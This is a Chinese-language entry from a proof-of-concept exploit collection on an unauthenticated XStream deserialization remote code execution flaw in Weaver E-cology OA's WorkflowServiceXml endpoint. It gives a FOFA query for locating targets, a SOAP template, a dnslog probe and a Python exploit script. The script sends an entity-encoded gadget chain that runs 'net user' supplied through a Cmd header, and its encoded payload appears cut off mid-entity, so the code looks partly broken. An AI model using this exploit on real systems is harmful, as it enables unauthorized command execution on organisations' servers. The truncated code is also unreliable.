Awesome-POC/OA产品漏洞/泛微OA WorkflowServiceXml RCE.md

173 lines
46 KiB
Markdown
Raw Normal View History

2022-02-21 09:35:01 +08:00
# 泛微OA WorkflowServiceXml RCE
## 漏洞描述
泛微E-cology OA系统的WorkflowServiceXml接口可被未授权访问攻击者调用该接口可构造特定的HTTP请求绕过泛微本身一些安全限制从而达成远程代码执行
## 漏洞影响
```
E-cology <= 9.0
```
## FOFA
```
app="泛微-协同办公OA"
```
## 漏洞复现
漏洞原理来源
https://www.anquanke.com/post/id/239865
根据流量可以得知路由为`/services%20/WorkflowServiceXml`我随即查看了该OA的web.xml。
![1](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202090148152.png)
发现了相关类为`weaver.workflow.webservices.WorkflowServiceXml``weaver.workflow.webservices.WorkflowServiceImplXml`
关于类的东西先放到一旁,毕竟路由是否真实存在、`%20`有什么意义才是重点。我开始验证路由的存在。这里我测试了两个版本。
![2](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202090148872.png)
![3](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202090148260.png)
带上`%20`试试
![4](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202090149990.png)
根据这个response可以看出这应该是一个soap xml注入具体是XMLDecoder、XStream或者其他什么还得看`weaver.workflow.webservices.WorkflowServiceXml``weaver.workflow.webservices.WorkflowServiceImplXml`.
首先,先看看`weaver.workflow.webservices.WorkflowServiceXml`
![5](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202090149467.png)
可以注意到这是一个接口类,其中一个方法`doCreateWorkflowRequest`比较可疑。
`weaver.workflow.webservices.WorkflowServiceImplXml`看看这个方法的实现。
![6](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202090149708.png)
继续跟踪看看
![7](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202090149836.png)
这个xs咋看起来这么眼熟看看xs是个啥一般Java可能会定义在代码文件最上方。
![8](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202090149829.png)
原来xs是`XStream`的对象
既然决定了sink点下一步肯定是POC的撰写了先确定SOAP基本模板。
根据朋友给的流量可以确定基本SOAP消息体模板大致是这样的。
```plain
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
<soapenv:Header/>
<soapenv:Body>
<web:doCreateWorkflowRequest>
<web:string></web:string>
<web:string>2</web:string>
</web:doCreateWorkflowRequest>
</soapenv:Body>
</soapenv:Envelope>
```
![9](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202090150166.png)
验证成功。
接下来就是寻找gadget了。
由于并没有完整源码只有部分github源码不能确定gadget先使用URLDNS试试。
```plain
<map>
<entry>
<url>http://1xsz12.dnslog.cn</url>
<string>http://1xsz12.dnslog.cn</string>
</entry>
</map>
```
组合我们的模板试试。
这里涉及到实体编码问题,作为懒人直接选择整体编码算了。
![10](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202090150837.png)
随后dnslog成功收到请求。
![11](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202090150361.png)
## 漏洞POC
```python
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.tech
import base64
import requests
import random
import re
import json
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: 泛微E-Cology WorkflowServiceXml RCE \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+------------------------------------------')
def POC_1(target_url):
vuln_url = target_url + "/services%20/WorkflowServiceXml"
cmd = "net user"
headers = {
'User-Agent': 'Apache-HttpClient/4.1.1 (java 1.5)',
'SOAPAction': '""',
'Cmd': cmd,
"Content-Type": "text/xml;charset=UTF-8"
}
data = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
<soapenv:Header/>
<soapenv:Body>
<web:doCreateWorkflowRequest> <web:string>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
<soapenv:Header/>
<soapenv:Body>
<web:doCreateWorkflowRequest> <web:string>
&#x3c;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x75;&#x74;&#x69;&#x6c;&#x2e;&#x50;&#x72;&#x69;&#x6f;&#x72;&#x69;&#x74;&#x79;&#x51;&#x75;&#x65;&#x75;&#x65;&#x20;&#x73;&#x65;&#x72;&#x69;&#x61;&#x6c;&#x69;&#x7a;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x3d;&#x27;&#x63;&#x75;&#x73;&#x74;&#x6f;&#x6d;&#x27;&#x3e;&#x0a;&#x20;&#x20;&#x3c;&#x75;&#x6e;&#x73;&#x65;&#x72;&#x69;&#x61;&#x6c;&#x69;&#x7a;&#x61;&#x62;&#x6c;&#x65;&#x2d;&#x70;&#x61;&#x72;&#x65;&#x6e;&#x74;&#x73;&#x2f;&#x3e;&#x0a;&#x20;&#x20;&#x3c;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x75;&#x74;&#x69;&#x6c;&#x2e;&#x50;&#x72;&#x69;&#x6f;&#x72;&#x69;&#x74;&#x79;&#x51;&#x75;&#x65;&#x75;&#x65;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x64;&#x65;&#x66;&#x61;&#x75;&#x6c;&#x74;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x73;&#x69;&#x7a;&#x65;&#x3e;&#x32;&#x3c;&#x2f;&#x73;&#x69;&#x7a;&#x65;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x63;&#x6f;&#x6d;&#x70;&#x61;&#x72;&#x61;&#x74;&#x6f;&#x72;&#x20;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x3d;&#x27;&#x6a;&#x61;&#x76;&#x61;&#x66;&#x78;&#x2e;&#x63;&#x6f;&#x6c;&#x6c;&#x65;&#x63;&#x74;&#x69;&#x6f;&#x6e;&#x73;&#x2e;&#x4f;&#x62;&#x73;&#x65;&#x72;&#x76;&#x61;&#x62;&#x6c;&#x65;&#x4c;&#x69;&#x73;&#x74;&#x24;&#x31;&#x27;&#x2f;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x2f;&#x64;&#x65;&#x66;&#x61;&#x75;&#x6c;&#x74;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x69;&#x6e;&#x74;&#x3e;&#x33;&#x3c;&#x2f;&#x69;&#x6e;&#x74;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x63;&#x6f;&#x6d;&#x2e;&#x73;&#x75;&#x6e;&#x2e;&#x78;&#x6d;&#x6c;&#x2e;&#x69;&#x6e;&#x74;&#x65;&#x72;&#x6e;&#x61;&#x6c;&#x2e;&#x62;&#x69;&#x6e;&#x64;&#x2e;&#x76;&#x32;&#x2e;&#x72;&#x75;&#x6e;&#x74;&#x69;&#x6d;&#x65;&#x2e;&#x75;&#x6e;&#x6d;&#x61;&#x72;&#x73;&#x68;&#x61;&#x6c;&#x6c;&#x65;&#x72;&#x2e;&#x42;&#x61;&#x73;&#x65;&#x36;&#x34;&#x44;&#x61;&#x74;&#x61;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x64;&#x61;&#x74;&#x61;&#x48;&#x61;&#x6e;&#x64;&#x6c;&#x65;&#x72;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x64;&#x61;&#x74;&#x61;&#x53;&#x6f;&#x75;&#x72;&#x63;&#x65;&#x20;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x3d;&#x27;&#x63;&#x6f;&#x6d;&#x2e;&#x73;&#x75;&#x6e;&#x2e;&#x78;&#x6d;&#x6c;&#x2e;&#x69;&#x6e;&#x74;&#x65;&#x72;&#x6e;&#x61;&#x6c;&#x2e;&#x77;&#x73;&#x2e;&#x65;&#x6e;&#x63;&#x6f;&#x64;&#x69;&#x6e;&#x67;&#x2e;&#x78;&#x6d;&#x6c;&#x2e;&#x58;&#x4d;&#x4c;&#x4d;&#x65;&#x73;&#x73;&#x61;&#x67;&#x65;&#x24;&#x58;&#x6d;&#x6c;&#x44;&#x61;&#x74;&#x61;&#x53;&#x6f;&#x75;&#x72;&#x63;&#x65;&#x27;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x63;&#x6f;&#x6e;&#x74;&#x65;&#x6e;&#x74;&#x54;&#x79;&#x70;&#x65;&#x3e;&#x74;&#x65;&#x78;&#x74;&#x2f;&#x70;&#x6c;&#x61;&#x69;&#x6e;&#x3c;&#x2f;&#x63;&#x6f;&#x6e;&#x74;&#x65;&#x6e;&#x74;&#x54;&#x79;&#x70;&#x65;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x69;&#x73;&#x20;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x3d;&#x27;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x53;&#x65;&#x71;&#x75;&#x65;&#x6e;&#x63;&#x65;&#x49;&#x6e;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6d;&#x27;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x65;&#x20;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x3d;&#x27;&#x6a;&#x61;&#x76;&#x61;&#x78;&#x2e;&#x73;&#x77;&#x69;&#x6e;&#x67;&#x2e;&#x4d;&#x75;&#x6c;&#x74;&#x69;&#x55;&#x49;&#x44;&#x65;&#x66;&#x61;&#x75;&#x6c;&#x74;&#x73;&#x24;&#x4d;&#x75;&#x6c;&#x74;&#x69;&#x55;&#x49;&#x44;&#x65;&#x66;&#x61;&#x75;&#x6c;&#x74;&#x73;&#x45;&#x6e;&#x75;&#x6d;&#x65;&#x72;&#x61;&#x74;&#x6f;&#x72;&#x27;&#x3e;&#x0a;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x20;&#x3c;&#x69;&#x74;&#x65;&#x72;&#x61;&#x74;&#x6f;&#x72;&#x20;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x3d;&#x27;&#x63;&#x6f;&#x6d;&#x2e;&#x73;&#x75;&#x6e;&#x2e;&#x74;&#x6f;&#x6f;&#x6c;&#x73;&#x2e;&#x6a;&#x61;&#x76;&#x61;&#x63;&#x2e;&#x70;&#x72;&#x6f;&#x63;&#x65;&#x73;&#x73;&#x69;&#x6e;&#x67;&#x2e;&#x4a;&#x61;&#x76;&#x61;&#x63;&#x50;&#x72;&#x6f;&#x63;&#x65;&#x73;&#x73;&#x69;&#x6e;&#x67;&#x45;&#x6e;&#x76;&#x69;&#x72;&#x6f;&#x6e;&#x6d;&#x65;&#x6e;&#x74;&#x24;&#x4e;&#x61
<web:string>2</web:string>
</web:doCreateWorkflowRequest>
</soapenv:Body>
</soapenv:Envelope>'''.format(cmd=cmd)
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
if "VulTest" in response.text and response.status_code == 500:
print("\033[36m[o] 存在漏洞 \n[o] 响应为:\n{} \033[0m".format(response.text))
except Exception as e:
print("\033[31m[x] 请求失败:{} \033[0m".format(e))
sys.exit(0)
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url)
```